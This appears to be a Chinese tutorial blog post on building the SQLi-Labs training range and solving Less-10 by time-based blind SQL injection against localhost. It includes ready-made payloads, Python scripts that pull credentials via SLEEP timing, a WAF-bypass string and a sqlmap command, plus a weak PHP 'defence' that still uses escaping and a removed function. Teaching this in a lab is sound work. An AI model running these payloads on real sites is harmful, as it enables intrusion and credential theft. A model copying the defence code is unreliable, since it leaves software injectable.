SQL注入靶场搭建与Less-10盲注实战解析

发布时间：2026/10/27 11:34:19
SQL注入靶场搭建与Less-10盲注实战解析

1. SQL注入靶场环境搭建与实战解析

最近在整理SQL注入相关的教学资料时，发现很多初学者对Less-10这个经典关卡存在普遍困惑。作为Web安全领域的入门必修课，SQL注入的实战理解离不开像SQLi-Labs这样的优质靶场环境。今天我就结合自己多年渗透测试经验，带大家深度剖析Less-10关卡的突破思路与技术细节。

SQLi-Labs是一个专为学习SQL注入设计的开源靶场，采用PHP+MySQL架构，包含从基础到高级的65个挑战关卡。其中Less-10属于盲注(Blind Injection)类题目，相比前几关的显错注入，它不会直接返回数据库错误信息，需要更精细的探测技巧。下面我将从环境配置、漏洞分析、注入手法到防御方案完整走一遍流程。

2. 环境准备与基础配置

2.1 靶场部署方案选择

推荐使用Docker快速搭建环境，避免复杂的依赖问题：

docker pull acgpiano/sqli-labs docker run -dt --name sqli-labs -p 80:80 acgpiano/sqli-labs

如果选择本地部署，需要确保环境满足：

  • PHP 5.4+/7.0+
  • MySQL 5.0+
  • Apache/Nginx服务
  • 开启mysqli扩展

注意：Windows系统下建议使用XAMPP集成环境，Linux用户可通过apt/yum直接安装LAMP套件

2.2 关键配置文件说明

靶场核心文件结构：

/sqli-labs ├── sql-connections │ └── db-creds.inc # 数据库配置 ├── Less-10 │ ├── index.php # 前端页面 │ └── hackthebox # 注入入口 └── sql-lab.sql # 数据库初始化脚本

需要特别检查db-creds.inc中的连接参数：

<?php $dbhost = 'localhost'; $dbuser = 'root'; $dbpass = 'password'; $dbname = 'security'; ?>

3. Less-10漏洞原理深度剖析

3.1 请求处理流程分析

通过Burp Suite抓取请求可见：

GET /Less-10/?id=1" HTTP/1.1 Host: localhost ...

后端处理逻辑存在典型漏洞：

$id = '"' . $_GET['id'] . '"'; $sql = "SELECT * FROM users WHERE id=$id LIMIT 0,1"; $result = mysqli_query($con, $sql);

3.2 注入点特征识别

与常规注入不同之处：

  1. 使用双引号包裹参数
  2. 无错误回显（即使构造错误语法）
  3. 仅通过页面响应差异判断结果

3.3 盲注技术核心原理

基于时间延迟的盲注公式：

1" AND IF(ASCII(SUBSTR(database(),1,1))=115,SLEEP(5),0)--+

关键函数说明：

  • IF(condition,true_part,false_part)：条件判断
  • ASCII()：获取字符ASCII码
  • SUBSTR(str,pos,len)：字符串截取
  • SLEEP(seconds)：延迟执行

4. 分步骤注入实战演示

4.1 数据库信息探测

判断当前数据库用户权限：

1" AND (SELECT COUNT(*) FROM mysql.user)>0--+

获取数据库版本：

import requests import time chars = 'abcdefghijklmnopqrstuvwxyz0123456789_.' result = '' for i in range(1,20): for c in chars: payload = f'1" AND IF(ASCII(SUBSTR(version(),{i},1))={ord(c)},SLEEP(3),0)--+' start = time.time() requests.get(f'http://localhost/Less-10/?id={payload}') if time.time() - start > 2.5: result += c print(result) break

4.2 表结构提取技术

获取security数据库表名：

1" AND IF(ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='security' LIMIT 0,1),1,1))=101,SLEEP(3),0)--+

4.3 数据提取完整流程

提取users表数据的Python自动化脚本：

def extract_data(offset): data = "" for i in range(1,50): found = False for j in range(32,127): payload = f"1\" AND IF(ASCII(SUBSTR((SELECT CONCAT(username,':',password) FROM users LIMIT {offset},1),{i},1))={j},SLEEP(2),0)--+" start = time.time() requests.get(f'http://localhost/Less-10/?id={payload}') if time.time() - start > 1.5: data += chr(j) print(data) found = True break if not found: break return data

5. 高级绕过技术与防御方案

5.1 WAF绕过技巧

混淆示例：

1"/*!50000AND*/IF(ASCII(SUBSTR(database(),1,1))>96,SLEEP(3),0)=1#

5.2 安全防护方案

PHP防御代码示例：

function check_input($value) { if (get_magic_quotes_gpc()) { $value = stripslashes($value); } if (!is_numeric($value)) { $value = mysqli_real_escape_string($con, $value); } return $value; } $id = check_input($_GET['id']); $sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";

5.3 企业级防护措施

  1. 最小权限原则：数据库账户仅授权必要权限
  2. 预编译语句：强制使用PDO或mysqli预处理
  3. 输入验证：白名单过滤特殊字符
  4. 安全审计：定期扫描SQL注入漏洞
  5. WAF部署：ModSecurity等Web应用防火墙

6. 常见问题排查指南

问题现象可能原因解决方案
页面无响应SLEEP时间过长调整延迟时间为2-3秒
结果不准确字符集不匹配添加CONVERT USING utf8
脚本执行中断请求频率过高增加time.sleep(0.5)
特殊字符报错编码问题使用URL编码处理payload

7. 实战经验与技巧分享

  1. 时间盲注优化：使用二分查找法替代遍历，将探测次数从95次降低到7次
def binary_search(pos): low, high = 32, 126 while low <= high: mid = (low + high) // 2 payload = f"1\" AND IF(ASCII(SUBSTR(database(),{pos},1))>{mid},SLEEP(2),0)--+" if test_payload(payload): low = mid + 1 else: high = mid - 1 return low
  1. 网络延迟处理：建立基准响应时间，动态计算延迟阈值
def get_baseline(): times = [] for _ in range(5): start = time.time() requests.get('http://localhost/Less-10/?id=1') times.append(time.time() - start) return max(times) * 1.5
  1. 自动化工具推荐：
  • sqlmap：sqlmap -u "http://localhost/Less-10/?id=1" --technique=T --dbms=MySQL
  • Burp Suite Intruder：配合时间差攻击模块

在真实渗透测试中，Less-10这类盲注场景需要更多耐心和技巧。建议初学者先手动完成所有步骤，理解原理后再使用自动化工具。每次注入前务必确认测试环境的合法性和授权范围